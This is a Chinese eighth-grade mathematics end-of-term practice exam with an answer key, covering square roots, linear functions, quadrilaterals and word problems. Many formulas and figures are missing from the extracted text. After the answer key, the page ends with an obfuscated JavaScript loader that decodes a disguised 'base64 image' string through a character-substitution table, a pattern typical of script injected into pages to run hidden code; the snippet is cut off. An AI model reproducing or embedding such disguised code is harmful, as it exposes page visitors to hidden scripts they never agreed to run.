谁有人教版八年级数学下册期末考试模拟试卷(附答案)
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八年级数学下册期末检测试题
初二年级数学试题
考生注意:
1.考试时间为120分钟,答题前,考生必须将自己的姓名、班级填写清楚.
2.全卷共三道大题,总共120分.请按照题号顺序在各题目的答题区域内作答,超出答题区域书写的答案无效.
题 号 一 二 三 总 分 核分人
得 分
一、选择题(每小题3分,共30分.下列各题所附的四个选项中,
有且只有一个是正确的, 请你把答案填在答题卡上)
1. 4的平方根是( ).
(A) 4 (B)2 (C)-2 (D) 2或-2
2.下列说法正确的是( ).
(A)估计68的立方根的大小在3与4之间
(B)将点 向右平移5个单位长度到点
(C) 和 是无理数
(D)点 关于 轴的对称点是
3. 在平面直角坐标系中,直线 经过( ).
(A) 第一、二、三象限 (B) 第一、二、四象限
(C) 第一、三、四象限 (D) 第二、三、四象限
4. 在下列图形中,既是轴对称图形又是中心对称图形的是( ).
5. 某商店出售下列四种形状的地砖:①正三角形;②正方形;③正五边形;④正六边形。若只选购其中一种地砖镶嵌地面,可供选择的地砖共有( ).
(A)4种 (B)3种 (C)2种 (D)1种
6. 下列说法中正确的个数有
①对角线互相平分且相等的四边形是菱形;
②有一组对边平行的四边形是梯形;
③如果四边形的两条对角线互相垂直,那么它的面积等于两条对角线长的积的一半;
④如果一个四边形绕对角线的交点旋转900后,所得图形与原来的图形重合,那么这个四边形是正方形.
其中正确的个数有 ( ).
(A)1个 (B)2个 (C)3个 (D)4个
7. 如图,已知梯形ABCD中,AD∥BC,AB=CD=AD,AC,BD相交于O点,∠BCD=60°,则下列说法错误的是( ).
(A) 梯形ABCD是轴对称图形;
(B) BC=2AD;
(C) AC平分∠DCB ;
(D) 梯形的面积是△BOC的面积的2倍。
8. 将矩形纸片ABCD按如图所示的方式折叠,得到菱形AECF.若AB=3,则BC的长为 ( ).
(A)1 (B) (C) (D)2
9.如图,某电信公司提供了 两种方案的移动通讯费用 (元)与通话时间 (元)之间的关系,则以下说法错误的是( )
A.若通话时间少于120分,则 方案比 方案便宜20元
B.若通话时间超过200分,则 方案比 方案便宜12元
C.若通讯费用为60元,则 方案比 方案的通话时间多
D.若两种方案通讯费用相差10元,则通话时间是145分或185分
10. 如图,点A的坐标为(1,0),点B在直线 上运动,
当线段AB最短时,点B的坐标为
(A)(0,0) (B)( ,- )
(C)( ,- ) (D)(- , )
(选择题答题卡)
题号 1 2 3 4 5 6 7 8 9 10
答案
二、填空题(每小题3分,共24分)
11. 在□ABCD中,AB=5cm,BC=4cm,则□ABCD的周长为 cm。
12. 对于函数y=(m-4)x+(m2-16), 当m= 时,它是正比例函数。
13. 如果二元一次方程组 的解是 ,那么二元一次方程组 解是_________。
14.菱形ABCD中,对角线AC与BD相交与点O,点E为AB的中点,若AD=8cm,则OE的长为_________ cm。
15.已知如图,在正方形ABCD中,E是CD边上的一点,连接BE,将△BCE绕点C顺时针方向旋转900,得到△DCF,连接EF,若∠BEC=600,则∠EFD的度数是_________0。
16.如图,有一圆柱,其高为12cm,它的底面半径为3cm,在圆柱下底面A处有一只蚂蚁,它想得到上面B处的食物,则蚂蚁经过的最短距离为________ cm。(π取3)
17.化简 =_________。
18.小丽只带了2元和5元两种人民币,买了一件物品只付了27元,则付款的方法有 ___________种。
19.函数y=kx+4与坐标轴所围成的三角形面积为8,则函数解析式为____________。
20.已知直角三角形两边x、y的长满足 ,则第三边的长是_______。
三、解答题(本大题9小题,共60分)
21. (6分)计算:
① ②
22. (9分)解方程组:
① ② ③
23. (6分)下表是某班20名学生外语测试成绩统计表:
(1) 若这20名学生成绩的平均数为73分,求x和y的值; (4分)
(2) 设此班20名学生成绩的众数为a,中位数为b,求a、b的值。(2分)
24.(7分) 如图,在平面直角坐标系中,一次函数y=- x+2的图像分别交 、 轴于点A、B,与一次函数y=-2x的图像交于第二象限内的点C (- , )。
① 方程组 的解为¬¬¬_________; (1分)
② 点 A的坐标为_________ ,点B的坐标为_________; (2分)
③ 观察一次函数y=- x+2的图象:当x_________时,y>0;(1分)
④ 求△OBC的其中一边CO上的高。 (3分)
成绩(分) 50 60 70 80 90
人数(人) 1 4 x y 2
25.(6分) 如图,在平行四边形ABCD中, 分别是边 和 上的点且 。
① 线段 与线段 有怎样的数量关系和位置关系?并证明你的结论.(4分)
② 若AE⊥BC,则四边形AECF是下列选项中的( ).(2分)
A.梯形 B.菱形 C.正方形 D.矩形
26(6分)如图所示,有两种形状不同的直角三角形纸片各两块,其中一种纸片的两条直角边长分别为1和2,另一种纸片的两条直角边长都为2.图a、图b、图c是三张形状、大小完全相同的方格纸,方格纸中的每个小正方形的边长均为1.请用三种方法将图中所给四块直角三角形纸片拼成平行四边形(非矩形),每种方法要把图中所给的四块直角三角形纸片全部用上,互不重叠且不留空隙,三种方法所拼得的平行四边形(非矩形)的周长互不相等,并把你所拼得的图形按实际大小画在图a、图b、图c的方格纸上。
要求:(l)所画图形各顶点必须与方格纸中的小正方形顶点重合。
(2)画图时,要保留四块直角三角形纸片的拼接痕迹
27.(6分)如图,已知平行四边形ABCD中,对角线AC、BD交于点O,E是BD延长线上的点,且△AEC等边三角形.
① 四边形ABCD是菱形吗?并说明你的理由;
② 若∠AED=2∠EAD,求证:四边形ABCD是正方形.
28. (7分)在纪念5.12地震献爱心活动中,灾区某校有23名中、小学生因贫困需要捐助.已知资助一名中学生的学习费用需要 元,资助一名小学生的学习费用需要 元.大庆市某中学学生积极捐款,其中三个年级学生的捐款数额如下表:
年级 捐款数额(元) 捐助贫困中学生人数(名) 捐助贫困小学生人数(名)
七年级 4000 2 4
八年级 4200 3 3
九年级 7400
(1)求 、 的值;(4分)
(2)九年级学生的捐款解决了其余贫困中小学生的学习费用,请求九年级学生可捐助的贫困中、小学生人数. (3分)
29. (7分)一列快车从甲地驶往乙地,一列慢车从乙地驶往甲地,两车同时出发,设慢车行驶的时间为 ,两车之间的距离为 ,图中的折线表示 与 之间的函数关系.
根据图象回答以下问题:
① 甲、乙两地之间的距离为 km;(1分)
② 图中点 的实际意义_______________;(1分)
③ 求慢车和快车的速度; (2分)
④ 求线段 所表示的 与 之间的函数关系式,并写出自变量 的取值范围;(3分)
大庆油田教育中心2008-2009学年度第二学期期末检测
初二年级数学试题答案
一. DDACBBDBDB
二. 18;-4; ;4cm; 15; 15;-2b; 3; y= ±x+4;
三. 21 ① -1; ②
22 ① ② ③
23 ①x=5,y=8 ②a=80,b=75
24 ① ②(4,0), (0,2)
③x<4时 ④ CD上的高为
25 ①AE与CF平行且相等 ② D
26
27 ①是菱形证明略 ② 略
28 ①根据题意 2a+4b=4000
3a+3b=4200
a=800
解得 b=600
所以a=800元,b=600元
②4名中学生,7名小学生.
29 ①900km ②当快车或慢车出发4小时两车相遇
③慢车速度为 ,快车速度为
④y=225x-900(4≤x≤6)
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF 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